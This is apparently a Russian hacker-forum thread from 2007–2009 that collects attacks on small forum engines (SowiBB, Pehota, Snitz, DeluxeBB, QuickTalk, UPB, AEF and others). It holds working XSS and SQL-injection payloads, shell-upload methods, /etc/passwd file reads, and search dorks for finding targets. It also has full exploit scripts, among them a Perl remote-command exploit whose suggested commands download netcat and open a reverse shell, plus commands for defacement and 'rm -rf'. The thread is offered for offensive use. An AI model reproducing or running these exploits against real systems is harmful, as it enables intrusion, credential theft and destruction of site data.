В админке, добавляем к разрешённым расширениям файлов php, закачиваем шелл, шелл будет доступен по адресу:
http://site.ru/Downloads/shell.php
BlackCats
08.07.2007, 23:35
сразу хочу сказать, что данный обзор по моему мнению не претендует на то чтобы ему присвоили статус "ВАЖНО" т.к. он слишком мал, а рассматриваемый форум не популярен. форум я выбирал не специально, а просто взял нижний из списка. все уязвимости находил сам.
работал только с 1 персией форума, насколько я понял последней.
сам форум на удивление дырявый..постю в надежде, что вдруг кому-нибудь пригодится.
итак:
SowiBB 3 RC 2
================================================== ====================
если использовать в качестве ника
"><script>alert(99)</script>
то у вас будет вылетать алерт:
при логине у вас будет вылетать алерт
================================================== ====================
при попытке отправьть письмо на email такому пользователю будет вылетать алерт:
пример:
/email.php?act=send&page=%22%3E%3Cscript%3Ealert(99)%3C/script%3E
================================================== ====================
при попытке отправьть ПМ такому пользователю будет вылетать алерт:
пример:
/pm-post.php?person=%22%3E%3Cscript%3Ealert(99)%3C/script%3E
================================================== ====================
также можно заполнить поля ICQ MSN AIM YAHOO "><script>alert(99)</script> при просмотре списка пользователей
вылетает 4 алерта.
================================================== ====================
если сознать тему с названием то при её просмотре как "снаружи" так и изнутри
будет вылетать алерт
================================================== ====================
при просмотре stats.php если у вас есть темы или ники в которых присуцтвует "><script>alert(99)</script> будет вылетать алерт.
================================================== ====================
если при отправке ПМ в качестве темы сообщения указать "><script>alert(99)</script>
то при чтении сообщения вылетит алерт.
================================================== ====================
если на страничке добавления аватара в поле Location: написать "><script>alert(99)</script> - то он вылетит алерт
================================================== ====================
ну и кароче как я понял везде где спетится скрипт - он выполняется, почти везде.
================================================== ====================
заливаем шелл:
в админке
Skin Manager
> Image Uploader
расширение php пропускает. шелл будет лежать по адресу
/skins/DEFAULT(если заливали в default)/images/shell.php(если имя шелла shell.php
gemaglabin
09.07.2007, 00:13
Делать нечего,качнул дистрибутив и поставил на локалхост.После пятиминутного изучения сорцов стало ясно что там отстуствует фильтрация вообще
Иньекция в логине , ' or 1=1/* , а также уязвимы сценарии lostpw.php , profile.php , forum.php , viewgroups.php , а также во всех скриптах на любой вкус - UPDATE / INSERT / SELECT xD . Куча xss , вот пару активных
[IM*G]http://" onmouseover="alert(/antichat/);"[/IMG]
[UR*L]http://" onmouseover="alert(/antichat/);"[/URL]
Но и этого мало , смотрим код залива аватара в профиле
if (in_array($_FILES['avatarown']['type'], array('image/gif', 'image/jpeg', 'image/pjpeg', 'image/jpg')))
{
move_uploaded_file($_FILES['avatarown']['tmp_name'], "./uploads/avatar-".$username."-{$_FILES[avatarown][name]}");
}
Гениально - подменяем хттп запрос и указывая php файл для аплоада меняем в хттп заголовке application/octet-stream на например image/gif.Все
cyberBB v. 0.4
Скачать можно здесь:
http://sourceforge.net/project/platformdownload.php?group_id=170656
-------------------------------------------------------------------
SQL инъкция:
http://localhost/show_topic.php?id=-1+union+select+1,2,3,4,555,6,7/*
Вывод логина и пароля пользователя:
http://localhost/show_topic.php?id=-1+union+select+1,2,3,4,aes_decrypt(aes_encrypt(con cat(username,char(58),password),0x71),0x71),6,7+fr om+users/*
Получаем логин и хеш (мд5) пароля пользователя.
Pehota Forum 1.05 и Pehota_Forum v1.10b
Скачать можно здесь: http://www.woweb.ru/load/56-1-0-4272
---------------------------------------------------------------------
1. Заливка шелла:
Регимся на форуме с ником blabla.php, вообщем так что бы ник (логин) заканчивался на .php
Предположим shell.php
Теперь заходим под этим логином, после чего идём в профиль выбираем загрузку аватары и заливаем шелл, всё шелл доступен по адресу:
http://site.ru/forum/user/shell.php/avator_shell.php
т.е. имя аватары формируется из avator_ + имя пользователя.
2. Проверялось на версии Pehota_Forum v1.10b - возможность узнать логины и пароли пользователей.
Из-за отсутствия .htaccess в "стандартном комплекте", можно просматривать файлы, файл с паролями:
http://test.ru/data/user.dat
3. Проверялось на версии Pehota_Forum v1.10b - повышение привилегий до админских.
Регимся
В поле Имя вводим login -вообщем тут не важно что
В поле Пароль (ну и в подтверждение пароля) вводим pass,2,3,Admin,
В поле с мылом вводим 123@123.ru - вообщем то что выглядит как нормальный адрес.
Получаем аккаунт: login:pass с админскими правами.
4. Проверялось на версии Pehota_Forum v1.10b - заливка шелла через админку
В админке - Настройки
Либо в поле Тем на страницу в admin.php:Ю либо в поле Тем на главную страницу: вписываем:
10"; system($HTTP_GET_VARS['cmd']); $aaaaa="
Получаем шелл:
http://test.ru/params.php?cmd=[cmd]
Solide Snake
05.10.2007, 19:58
Flashbb <= 1.1.7 - Remote File Inclusion Exploit (http://securityvulns.ru/files/flashbbex.pl)
1. Tiny PHP Forum v3.61
Скачать можно здесь: http://sourceforge.net/project/showfiles.php?group_id=98590
Пассивные xss:
http://localhost/forum/header.php?siteName=<script>alert(document.cookie);</script>
http://localhost/forum/header.php?siteURL="><script>alert(document.cookie);</script>
Для поиска этого форумного двига вводим: Powered by TinyPHPForum v3.61
Уязвимости для версии 3.60:
http://www.securitylab.ru/vulnerability/243758.php
Активная XSS ("1. Уязвимость существует из-за недостаточной") присутствует и в версии 3.61
--------------------------------------------------------------------
--------------------------------------------------------------------
2. Nexus Forum
Скачать можно здесь: http://sourceforge.net/project/showfiles.php?group_id=112138
Отсутствие .htaccess:
Из-за отсутствия в "комплекте форума" файла .htaccess, есть возможность просматривать пароли, пользователей:
http://localhost/forum/users/Имя пользователя/pass.txt
--------------------------------------------------------------------
--------------------------------------------------------------------
3. mForum
Скачать можно здесь: http://sourceforge.net/project/showfiles.php?group_id=191244
SQL инъекция:
В скрипте register.php в запрос
$query_username = "INSERT INTO $table_users(username,password,email,date,ip) VALUES('$_POST[username]','$_POST[password]','$_POST[email]','$date','$ip')";
можно внедрить sql инъекцию:
Делаем следующее:
Регимся на форуме (Register), в поле Username: вставляем 1','','',version(),'')/* остальные поля заполняем произвольно, но соблюдая требования (пароль > 4 символов, мыло по виду user@site.ru)
После чего переходим к просмотру пользователей (Members list), там открываем профиль нашего пользователя (а его имя будет 1 (т.к. -->1<--','','',version(),'')/*)) и видим в поле "Registered:" вывод версии БД.
К сожалению из-за ограничения на длину имени пользователя ввести более длинный запрос не получится.
Для поиска этого форумного двига вводим: Powered by mForum
Solide Snake
28.10.2007, 01:48
Уязвимость в FUDForum
URL производителя: fudforum.org (http://www.fudforum.org/)
1. Уязвимость в admbrowse.php позволяет просматривать произвольные файлы:
admbrowse.php?down=1&cur=%2Fetc%2F&dest=passwd&rid=1&S=[someid]
2. уязвимость в tmp_view.php позволяет просматривать произвольные файлы:
tmp_view.php?file=/etc/passwd
Solide Snake
16.11.2007, 22:26
QuickTalk forum 1.3 (lang) Local File Inclusion Vulnerabilities
#download: http://www.qt-cute.org/download/qtf13.zip
#vulncode:
$strLang = $_GET["lang"];
include("language/$strLang/qtf_lang_reg.inc");
#exploits:
http://www.site.com/[path]/qtf_checkname.php?lang=./../../../../../../../../../../etc/passwd%00
http://www.site.com/[path]/qtf_j_birth.php?lang=./../../../../../../../../../../etc/passwd%00
http://www.site.com/[path]/qtf_j_exists.php?lang=./../../../../../../../../../../etc/passwd%00
(c) milw0rm.com (http://www.milw0rm.com/exploits/4115)
Solide Snake
19.11.2007, 22:48
IceBB 1.0-rc6 Remote Database Authentication Details Exploit (http://www.milw0rm.com/exploits/4634)
Solide Snake
26.11.2007, 16:58
Движок: DeluxeBB
Версия: <= 1.9
#!/usr/bin/python
#-*- coding: iso-8859-15 -*-
'''
_ __ _____ _____ _ __
| '_ \ / _ \ \/ / _ \ '_ \
| | | | __/> < __/ | | |
|_| |_|\___/_/\_\___|_| |_|
------------------------------------------------------------------------------------------------
§ DeluxeBB 0day Remote Change Admin's credentials §
------------------------------------------------------------------------------------------------
nexen
------------------------------------------------------------------------------------------------
PoC / Bug Explanation:
When you update your profile,
DeluxeBB execute a vulnerable query:
$db->unbuffered_query("UPDATE ".$prefix."users SET email='$xemail', msn='$xmsn', icq='$xicq', ... WHERE (username='$membercookie')");
So, editing cookie "membercookie" you can change remote user's email.
Enjoy ;)
------------------------------------------------------------------------------------------------
'''
import httplib, urllib, sys, md5
from random import randint
print "\n################################################ ########################################"
print " DeluxeBB <= 1.09 Remote Admin's/User's Email Change "
print " "
print " Vulnerability Discovered By Nexen "
print " Greetz to The:Paradox that Coded the Exploit. "
print " "
print " Usage: "
print " %s [Target] [VictimNick] [Path] [YourEmail] [AdditionalFlags] " % (sys.argv[0])
print " "
print " Additional Flags: "
print " -id34 -passMypassword -port80 "
print " "
print " Example: "
print " python %s 127.0.0.1 admin /DeluxeBB/ me@it.com -port81 " % (sys.argv[0])
print " "
print "################################################## ######################################\n"
if len(sys.argv)<=4: sys.exit()
else: print "[.]Exploit Starting."
target = sys.argv[1]
admin_nick = sys.argv[2]
path = sys.argv[3]
real_email = sys.argv[4]
botpass = "the-new-administrator"
rand = randint(1, 99999)
dn1 = 0
dn2 = 0
dn3 = 0
try:
for line in sys.argv[:]:
if line.find('-pass') != -1 and dn1 == 0:
upass = line.split('-pass')[1]
dn1 = 1
elif line.find('-pass') == -1 and dn1 == 0:
upass = ""
if line.find('-id') != -1 and dn2 == 0:
userid = line.split('-id')[1]
dn2 = 1
elif line.find('-id') == -1 and dn2 == 0:
userid = ""
if line.find('-port') != -1 and dn3 == 0:
port = line.split('-port')[1]
dn3 = 1
elif line.find('-port') == -1 and dn3 == 0:
port = "80"
except:
sys.exit("[-]Some error in Additional Flag.")
if upass=="" and userid != "" or userid == "" and upass != "":
print "[-]Bad Additional flags -id -pass given, ignoring them."
upass=""
userid=""
################################################## ##########################################Trying to connect.
try:
conn = httplib.HTTPConnection(target,port)
conn.request("GET", "")
except: sys.exit("[-]Cannot connect. Check Target.")
################################################## ##########################################Register ing a new user if id or upass not defined
try:
conn = httplib.HTTPConnection(target,port)
if upass == "" or userid == "":
conn.request("POST", path + "misc.php?sub=register", urllib.urlencode({'submit': 'Register','name': 'th331337.%d' % (rand) , 'pass': botpass,'pass2': botpass,'email': 'root%d@yoursystemgotpowned.it' % (rand) }), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded"})
response = conn.getresponse()
cookies = response.getheader('set-cookie').split(";")
#print "\n\nth331337.%d \n\nthe-new-administrator" % (rand)
print "[.]Registering a new user. -->",response.status, response.reason
conn.close()
################################################## ##########################################Getting memberid in Cookies
for line in cookies[:]:
if line.find('memberid') != -1:
mid = line.split('memberid=')[1]
################################################## ##########################################Isset like starts
try: mid
except NameError: sys.exit("[-]Can't Get \"memberid\". Failed. Something has gone wrong. If you have not done yet, you may have to register manually and use flags -id -pass")
except AttributeError:
sys.exit("[-]AttributeError Check your Target/path.")
################################################## ##########################################Doing some Md5
if upass=="" or userid=="":
hash = md5.new()
hash.update(botpass)
passmd5 = hash.hexdigest()
else:
hash = md5.new()
hash.update(upass)
passmd5 = hash.hexdigest()
mid = userid
################################################## ##########################################Updating "victim" email in Profile
conn = httplib.HTTPConnection(target,port)
conn.request("POST", path+"cp.php?sub=settings", urllib.urlencode({'submit': 'Update','xemail': real_email}), {"Accept": "text/plain","Cookie": "memberid="+mid+"; membercookie="+admin_nick+";memberpw="+passmd5+";" ,"Content-type": "application/x-www-form-urlencoded"})
response = conn.getresponse()
print "[.]Changing \""+admin_nick+"\" Email With \"" + real_email + "\" -->",response.status, response.reason
conn.close()
print "[+]All Done! Email changed!!!\n\n You can reset \""+admin_nick+"\" password here -> "+target+path+"misc.php?sub=lostpw :D\n\n Have Fun =)\n"
# milw0rm.com [2007-11-26]
Basurman
05.01.2008, 02:21
SNITZ FORUMS 2000
Сайт: http://forum.snitz.com/
Описание: Форум малораспространенный, но все же иногда приходится с ним сталкиваться.
Даты выхода версий: http://sourceforge.net/project/showfiles.php?group_id=8812&package_id=8895
P.S. google.ru: Результаты 1 - 10 из примерно 2 270 000 для "Powered by Snitz"
Snitz2000 3.1 SR4
16 февраля 2007
SQL инъекция в файле pop_profile.asp
ссылка: http://www.milw0rm.com/exploits/3321
Snitz2000 (3.3 - 3.3.03)
20 апреля 2002
SQL инъекция в members.asp
/members.asp?mode=search&M_NAME=XXXX%25')%20UNION%20SELECT%20MEMBER_ID,%20M _STATUS,%20M_NAME%20%2B%20'/'%20%2B%20M_EMAIL%20%2B%20'/',%20M_LEVEL,%20M_EMAIL,%20M_COUNTRY,%20M_HOMEPAGE ,%20M_ICQ,%20M_YAHOO,%20M_AIM,%20M_TITLE,%20M_POST S,%20M_LASTPOSTDATE,%20M_LASTHEREDATE,%20M_DATE,%2 0M_STATE%20FROM%20FORUM_MEMBERS%20WHERE%20(M_NAME% 20LIKE%20'&initial=1&method=
Snitz2000 3.3.03
13 мая 2003
SQL инъекция в register.asp
Не фильтруется поле email. Возможен запуск xp_cmdshell (пользователь "sa")
Сплоит:
#!/usr/bin/perl
use Socket;
print "\nRemote command execution against Snitz Forums 3.3.03 (and probably others).\n";
print "You accept full responsibility for your actions by using this script.\n";
print "INTERNAL USE ONLY!! DO NOT DISTRIBUTE!!\n";
print "\nWeb server? [www.enterthegame.com]: ";
my $webserver = <STDIN>;
chomp $webserver;
if( $webserver eq "" )
{
$webserver = "www.enterthegame.com";
}
print "\nWeb server port? [80]: ";
my $port = <STDIN>;
chomp $port;
if( $port eq "" )
{
$port = 80;
}
print "\nAbsolute path to \"register.asp\"? [/forum/register.asp]: ";
my $path = <STDIN>;
chomp $path;
if( $path eq "" )
{
$path = "/forum/register.asp";
}
print "\nCommand to execute non-interactively\n";
print " Example commands: tftp -i Your.IP.Here GET nc.exe\n";
print " nc.exe -e cmd.exe Your.IP.Here YourNetcatListeningPortHere\n";
print " or: net user h4x0r /add | net localgroup Administrators h4x0r /add\n";
print "Your command: ";
my $command = <STDIN>;
chomp $command;
$command =~ s/\ /\%20/g;
if( open_TCP( FILEHANDLE, $webserver, 80 ) == undef )
{
print "Error connecting to $webserver\n";
exit( 0 );
}
else
{
my $data1 = $path . "\?mode\=DoIt";
my $data2 = "Email\=\'\%20exec\%20master..xp_cmdshell\%20\'" . $command. "\'\%20--\&Name\=snitz";
my $length = length( $data2 );
print FILEHANDLE "POST $data1 HTTP/1.1\n";
if( $port == 80 )
{
print FILEHANDLE "Host: $webserver\n";
}
else
{
print FILEHANDLE "Host: $webserver:$port\n";
}
print FILEHANDLE "Accept: */*\n";
print FILEHANDLE "User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\n";
print FILEHANDLE "Keep-Alive: 300\n";
print FILEHANDLE "Referer: http:\/\/$webserver$path\?mode\=Register\n";
print FILEHANDLE "Content-Type: application/x-www-form-urlencoded\n";
print FILEHANDLE "Content-Length: $length\n\n";
print FILEHANDLE "$data2";
print "\nSQL injection command sent. If you are waiting for a shell on your listening\n";
print "netcat, hit \"enter\" a couple of times to be safe.\n\n";
close( FILEHANDLE );
}
sub open_TCP
{
my( $FS, $dest, $port ) = @_;
my $proto = getprotobyname( 'tcp' );
socket( $FS, PF_INET, SOCK_STREAM, $proto );
my $sin = sockaddr_in( $port, inet_aton( $dest ));
connect( $FS, $sin ) || return undef;
my $old_fh = select( $FS );
$| = 1;
select( $old_fh );
return 1;
}
Snitz2000 3.4 (?)
18 апреля 2003
XSS. Обходятся существующие фильтры символом табуляции (0x09)
Например:
jav asc ript:alert%28document.cookie%29
Snitz2000 3.4.03
1). Сброс пароля у любого пользователя
21 июня 2003
Запрашиваем "забытый пароль". Сохраняем страницу на HDD. Меняем ID пользователя в блокноте (например) на любой существующий. Жмем кнопку. Все
2). XSS
21 июня 2003
http://path/search.asp?Search="><script>alert()</script>
Snitz2000 3.4.04
1). XSS в файле register.asp
16 июня 2004
При регистрации нового пользователя/ редактировании аккаунта можно ввести в поле E-mail address
p@p" onMouseOver="alert(document.cookie);
2). Http response splitting
16 сентября 2004
Сплоит:
POST /down.asp HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-length: 134
location=/foo?%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Length:%2014%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>Preved</html>
Snitz2000 3.4.05
1). SQL инъекция в файле inc_header.asp
11 июня 2006
бажный кусок кода:
if strGroupCategories = "1" then
if Request.QueryString("Group") = "" then
if Request.Cookies(strCookieURL & "GROUP") = "" Then
Group = 2
else
Group = Request.Cookies(strCookieURL & "GROUP")
end if
else
Group = cLng(Request.QueryString("Group"))
end if
'set default
Session(strCookieURL & "GROUP_ICON") = "icon_group_categories.gif"
Session(strCookieURL & "GROUP_IMAGE") = strTitleImage
'Forum_SQL - Group exists ?
strSql = "SELECT GROUP_ID, GROUP_NAME, GROUP_ICON, GROUP_IMAGE "
strSql = strSql & " FROM " & strTablePrefix & "GROUP_NAMES "
strSql = strSql & " WHERE GROUP_ID = " & Group
set rs2 = my_Conn.Execute (strSql)
Сплоита нет
2). XSS в файле post.asp
2 ноября 2005
пример:
http://[host]/snitz/post.asp?method=Topic&FORUM_ID=1&CAT_ID=1&type=[code]
Snitz2000 3.4.06
1). SQL инъекция в active.asp.
5 декабря 2007
Пользователь может получить привилегии администратора.
HTML-сплоит для поднятия прав (необходимо зарегистрироваться на форуме, зайти на него, исправить [VICTIM URL] на работающий адрес, ну и запустить его):
<form action="http://[VICTIM URL]/active.asp" method="post">
Query: <input type="text" name="BuildTime" value="',M_Level='3" /><br />
DefaultValues: <input type="text" name="AllRead" value="Y" /><br />
Submit: <input type="submit" name="submit" value="Submit" /><br />
</form>
2). XSS
14 сентября 2006
http://target.com/[path]/forum.asp?FORUM_ID=1&ARCHIVE=true&sortfield=lastpost&sortorder="><script>function%20xssbaslat(){alert("Xss%20Here");}</script><body%20onload="xssbaslat()">
3). возможная XSS в файле pop_profile.asp.
7 марта 2007
Доказательств нет
ссылка: http://securityvulns.ru/CVE-2007-1374.html
Snitz2000 3.4 Avatar MOD 1.3
18 мая 2006
Загрузка произвольных файлов (шеллов и тд) в обход ограничений, указанных в моде (jpg, jpeg, gif, png), используюя POISON NULL BYTE (то есть %00)
________________________________________________
3.4.06 - последняя версия
При обнаружении ошибок и неточностей, а также если есть, чем дополнить, - прошу в ПМ (флудить тут не надо) пост восстановлен
Solide Snake
05.01.2008, 15:53
MyPHP Forum Vulnerability
Exploits/Shellcode
MyPHP Forum <= 3.0 (Final) Multiple SQL Injection Vulnerabilities (http://milw0rm.com/exploits/4822)
MyPHP Forum <= 3.0 (Final) Remote SQL Injection Vulnerability (http://milw0rm.com/exploits/4831)
SQL-инъекция во многих сценариях в MyPHP 1.0 форуме
Описание:
Обнаруженная уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды на системе.
Exploit:
/member.php?action=viewpro&member=nonexist' UNION SELECT uid, username, password,
status, email, website, aim, msn, location, sig, regdate, posts,
password as yahoo FROM nb_member WHERE uid='1
DeluxeBB 1.1 XSS Vulnerability
PoC:
http://www.site.com/path/templates/default/admincp/attachments_header.php?lang_li
stofmatches=<script>alert("iddqd")</script>
Vendor: http://php.arsivimiz.com/indir.php?id=335
Remote File Include
Vulnerable: tinyBB v0.2
PoC:
http://victim.Com/ScriptPath/footers.php?tinybb_footers=[shell]
Solide Snake
13.03.2008, 12:09
Уязвимости QuickTalk Forum
URL производителя: http://www.qt-cute.org/
QuickTalk Forum <= 1.6 Blind SQL Injection Exploit
<html>
<head>
<title>QuickTalk Forum <= 1.6 Blind SQL Injection Exploit</title>
<script language="Javascript" type="text/javascript">
/*
-----------------------------------------------------------------------------------------------
- QuickTalk Forum Blind SQL Injection Exploit (qtf_ind_search_ov.php) -
- Info ---------------------------------------------------------------------------------------
- Author: t0pP8uZz & xprog -----------------------------------------------------------
- Exploit Coded By t0pP8uZz ---------------------------------------------------------
- Site: h4ck-y0u.org / milw0rm.com ------------------------------------------------
----------------------------------------------------------------------------------------------
- Passwords ARE IN MD5 ----------------------------------------------------
- Peace -----------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------
*/
var site, uid, res = "";
function Start() {
site = document.getElementById("site").value;
uid = document.getElementById("pid").value;
document.getElementById("output").value = "Exploiting, Please Wait..";
Main(1, 48);
}
function Main(substr, num) {
var xmlhttp = false;
var url = site+"/qtf_ind_search_ov.php?a=user&id=1 and ASCII(SUBSTRING((SELECT pwd FROM qtiuser WHERE id="+uid+" LIMIT 0,1),"+substr+",1))="+num+"/*";
try {
xmlhttp = new XMLHttpRequest();
} catch(e) { alert("Unsupported Browser! Run Exploit In Mozilla Firefox!"); }
if(xmlhttp) {
netscape.security.PrivilegeManager.enablePrivilege ("UniversalBrowserRead");
xmlhttp.onreadystatechange = function() {
if(xmlhttp.readyState == 4) {
var content = xmlhttp.responseText;
var ele = document.getElementById("output");
if(!content.match(/0 Found/i)) {
res += String.fromCharCode(num);
ele.value = res;
num = 48;
substr++;
}
else {
if(num == 59) { num = 96; }
else { num++; }
}
if(res.length >= 32) { alert("Exploitation Successfull!. Admin MD5 Hash: "+res); return true; }
Main(substr, num)
}
};
xmlhttp.open("GET", url, true);
xmlhttp.send(null);
}
}
</script>
<style type="text/css">
<!--
.style1{color: #CC0000}
.style2 { color: #000000; font-size: 12px;}
.style3 {color: #FF0000; font-weight: bold; font-size: 12px; }
.style4 {color: #FF0000; font-size: 10px;}
-->
</style>
</head>
<body>
<p class="style1">- QuickTalk Forum <= 1.6 Blind SQL Injection Exploit -</p>
<p class="style2">Site: <input type="text" id="site" /> (URL to QuickTalk Forum site ie: http://www.site.com/quicktalkforum)</p>
<p class="style2">User: <input type="text" id="pid" /> (UserID of the user you want the MD5 hash too.)</p>
<p class="style2"><input type="button" onclick="Start();" id="button" value="Exploit" /></p>
<p class="style3">Output (MD5 Hash): <input type="text" id="output" size="100" /></p> (Do not touch untill exploit says its done)
<p class="style2">Notes: QuickTalk Forum uses the MD5 algorithms to encrypt passwords</p>
<p class="style4">Coded By t0pP8uZz - h4ck-y0u.org</p>
</body>
</html>
Инклюдинг локальных файлов в QuickTalk forum
Уязвимость позволяет удаленному пользователю получить доступ к важным данным на системе.
http://[host]/qtf_checkname.php?lang=./../../../../../../../../../../etc/passwd%00
http://[host]/qtf_j_birth.php?lang=./../../../../../../../../../../etc/passwd%00
http://[host]/qtf_j_exists.php?lang=./../../../../../../../../../../etc/passwd%00
.Begemot.
16.06.2008, 11:41
Forum Pay Per Post Exchange <= 2.0 SQL Injection Vulnerabilitys
- +================================================= ===============================+ -
- + Forum Pay Per Post Exchange <= 2.0 SQL Injection Vulnerabilitys + -
- +================================================= ===============================+ -
By : Stack
http://alstrasoft.com/forum-pay-per-post-exchange.htm
Cost (single license): $175 (with 1 year updates)
Language: PHP
Platform: Unix, Win NT
Release: Dec 23, 2007
Current Version: 2.0
Last Update: Mar 10, 2008
exploit :
http://site.co.il/index.php?menu=forum_catview&catid=-1/**/UNION/**/SELECT/**/1,2,3,database(),5,version(),7/*
# milw0rm.com [2008-06-15]
milw0rm.com [2008-06-15]
Sharingan
11.07.2008, 14:29
www.myupb.com
UBP Version <=1.9.6
Заводим себе админа
При установке форума заводится акаунт admin с уровнем доступа admin, но при повторной регистрации акаунта admin (но уже через register.php) скрипт не ругается и регистрирует его, но с правами member. В больших форумах (с большим числом пользователей) вероятна атака спуфинга (запрос паролей и другой информации от пользователей под видом администратора).
Bесь список юзеров, пароли ( к сожалению зашифрованные) (http://forum.antichat.ru/thread4696-UPB.html) почту юзера, дату реги, итп.
http://site.com/path_to_forum/db/users.dat
Отправка письма: от user к user2
http://site.com/path_to_file/send.
php?power_env=lwbteam&user_env=[user]&pass_env=lwbteam&id_env=[user2]&id=[user2]&message=LwBSecurityTeam
Возможность Залогинится под Админом или любым другим юзером
http://site.com/forum/admin_members.php?power_env=123&user_env=Admin&pass_env=123&id_env=Admin&lastvisit=0
Выполнение Кода
UPB протоколирует некоторую информацию о посетителях [такую как REMOTE_ADDR и HTTP_USER_AGENT ] в текстовый файл в директории db, который называется iplog. Затем в панели администратора, администратор форума может вызвать admin_iplog.php, который просто подключает iplog. Например:
e@some_host$ telnet hostname 80
Connected to hostname at 80
GET /board/index.php HTTP/1.0
User-Agent: <? phpinfo(); ?>
когда администратор вызовет admin_iplog.php, ваш код php будет выполнен.
Пример:
1. <? system( "echo \'hacked\' > ../index.html" ); ?>
дефейсит главную страницу форума.
2. создаст tcsh.php с правами httpd в корневой директории веб-сайта. затем вам просто нужно будет зайти на http://hostname/tcsh.php?cmd=rm -rf *
после внедрения кода через поле User-Agent вам нужно подождать пока администратор посмотрит admin_iplog.php.
XSS
http://[target]/upb/login.php?ref=%27%3E%3Cscrip t%3Ealert(document.cookie)%3C/script%3E
http://[target]/upb/viewtopic.php?id=%27%3E%3C script%3Ealert(document.cookie)%3C/script%3E
http://[target]/upb/viewtopic.php?id=1&t_id=1&page= %27%3E%3Cscript%3Ealert( document.cookie)%3C/script%3E
http://[target]/upb/profile.php?action=get&id=%27 %3E%3Cscript%3Ealert(document.cookie) %3C/script%3E
http://[target]/upb/newpost.php?id= 1&t=1&t_id= %27%3E%3Cscript%3Ealert(document.cookie) %3C/script%3E
http://[target]/upb/newpost.php?id=%27%3E%3C script%3Ealert(document.cookie)%3C/script%3E
http://[ta rget]/upb/email.php?id=%27%3E%3C script%3Ealert(document.cookies)%3C/script%3E
http://[target]/upb/icq.php?action=get&id=%27%3E%3C script%3Ealert(document.cookie)%3C/scr ipt%3E
http://[target]/upb/aol.php?action=get&id=%27%3E%3C script%3Ealert(document.cookie)%3C/script%3E
http://[target]/upb/getpass.php?ref=%27%3E%3Cscript %3Ealert(d ocument.cookie)%3C/script%3E
http://[target]/upb/search.php?step=3&sText= %27%3E%3Cscript%3Ealert(document.cookie) %3C/script%3E
Раскрытые пути
http://site.com/web/forum/viewforum.php?'id'=4
http://site.com/web/forum/viewtopic.php?id=3'
UBP Version 2.0
Уязвимость позволяет злоумышленнику выполнить произвольный сценарий на целевой системе, уязвимость существует из-за ошибки в обработке входных данных в параметре «_CONFIG[skin_dir]» сценарием header_simple.php. Атакующий может выполнить произвольный сценарий с привилегиями запущенного Web сервера.
Пример:
http://vul_site/path/includes/header_simple.php?_CONFIG[skin_dir]=shell
UBP 2.0b1
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "option" сценарием chat/login.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Пример:
http://[target]/[path]/chat/login.php?option=chat&username=(code)
~!DoK_tOR!~
09.09.2008, 15:54
Форум: Advanced Electron Forum(AEF)
Версия: 1.0.6
Активные XSS
1 активная
Заходим в профиль уявимое поле WWW: вводим "><script>alert('xss')</script>
2 активная
Создаём тему в названии темы вводим "><script>alert('xss')</script>
3 активная
В подписи вводим:
[UR*L]http://" onmouseover="alert('xss');"[/URL]
[IM*G]http://" onmouseover="alert('xss');"[/IMG]
Поиск: Powered By AEF 1.0.6 © 2008 Electron Inc.
Скачать форум: http://www.anelectron.com/download.php
(c) ~!Dok_tOR!~
UPDATE
Advanced Electron Forum <= 1.0.6 Remote Code Execution
Сценарий /main/functions/bbc_functions.php
Уязвимый код:
//Email Links
if($globals['bbc_email']){
$text = preg_replace(
array("/\(.*?)\[\/email\]/ies",
"/\[email\](.*?)\[\/email\]/ies"),
array('check_email("$1", "$2")',
'check_email("$1", "$1")'), $text);
}
Уязвимость существует из-за небезопасного вызова функции "preg_replace()" с параметром "e". Удаленный пользователь может с помощью специально сформированного тега выполнить произвольный PHP код на целевой системе с привилегиям Web сервера.
Пример:
[*email]{${phpinfo()}} ((.*?)\)
* - убрать конечно.
Решение: Установите последнюю версию 1.0.7 с сайта производителя.
Original link (http://milw0rm.com/exploits/6499)
~!DoK_tOR!~
01.10.2008, 17:00
Форум: Discussion Forums 2k
Версия: 3.3.T
Офф.сайт: http://developer.berlios.de/projects/df2k/
SQL Injection
http://localhost/[installdir]/misc/RSS1.php?CatID=-1)+union+select+concat_ws(0x3a,Name,Password,Email ),2,3,4,5,6,7+from+DF2k_Members/*
http://localhost/[installdir]/misc/RSS2.php?id=1&CatID=-1)+union+select+concat_ws(0x3a,Name,Password,Email ),2,user(),4,5,6,7,8,9,10+from+DF2k_Members/*
http://localhost/[installdir]/misc/RSS5.php?SubID=-1)+union+select+concat_ws(0x3a,Name,Password,Email ),2,3,4,5+from+DF2k_Members/*
XSS Passive
http://localhost/[installdir]/Category.php?id="><script>alert('xss')</script>&SubID=0
http://localhost/[installdir]/Messenger.php?act=Create&Sendto="><script>alert('xss')</script>
(c) ~!Dok_tOR!~
AEF <= 1.0.7 Активные XSS
Дорк: Powered By AEF 1.0.
Уязвимы сразу несколько тегов, т.к. проверка там везде однинаковая.
Поразительно тупую защиту от XSS:
function check_url($href, $name){
$href = preg_replace("/javascript:/i", "javascript-aef: ", $href);
return '<a href="'.$href.'" target="_blank">'.$name.'</a>';
}
обойти проще некуда - достаточно перекодировать скрипт:
javascript:alert('Grey') => HTML (with semicolons): => javascript:alert('Grey')
Уязвимы теги: [url*], [ftp*], [email*].
Эксплуатация: при добавление сообщения, добавляем один из уязвимых тегов.
К примеру [url*]:
[url*=javascript:alert('Grey')]нажми на меня[/url*]
при переходе по ссылке выполнится скрипт.
Символ "*" - следует убрать.
vuBB 0.2.2 Beta
Vendor: vubb.net
Active XSS
Есть возможность указать URL удаленной аватарки.
Вставляем вместо адреса код:
javascript:eval(String.fromCharCode(97,108,101,114 ,116,40,120,115,115,41,59))
Dork: "Copyright 2005-2006 vuBB"
(с) iddqd
DeluxeBB 1.3 Released (06-02-09)
пассивная xss
/misc.php?sub=register&redirect=xss
пассивная xss в админке
admincp.php?sub=editforum&fid=xss
x_x cedz
/***************************
* my little forum
* Version 2.1 beta 4
* http://mylittleforum.net
***************************/
passive xss
index.php?mode=posting&id=1&back=xss
PowerBB 2.2.1
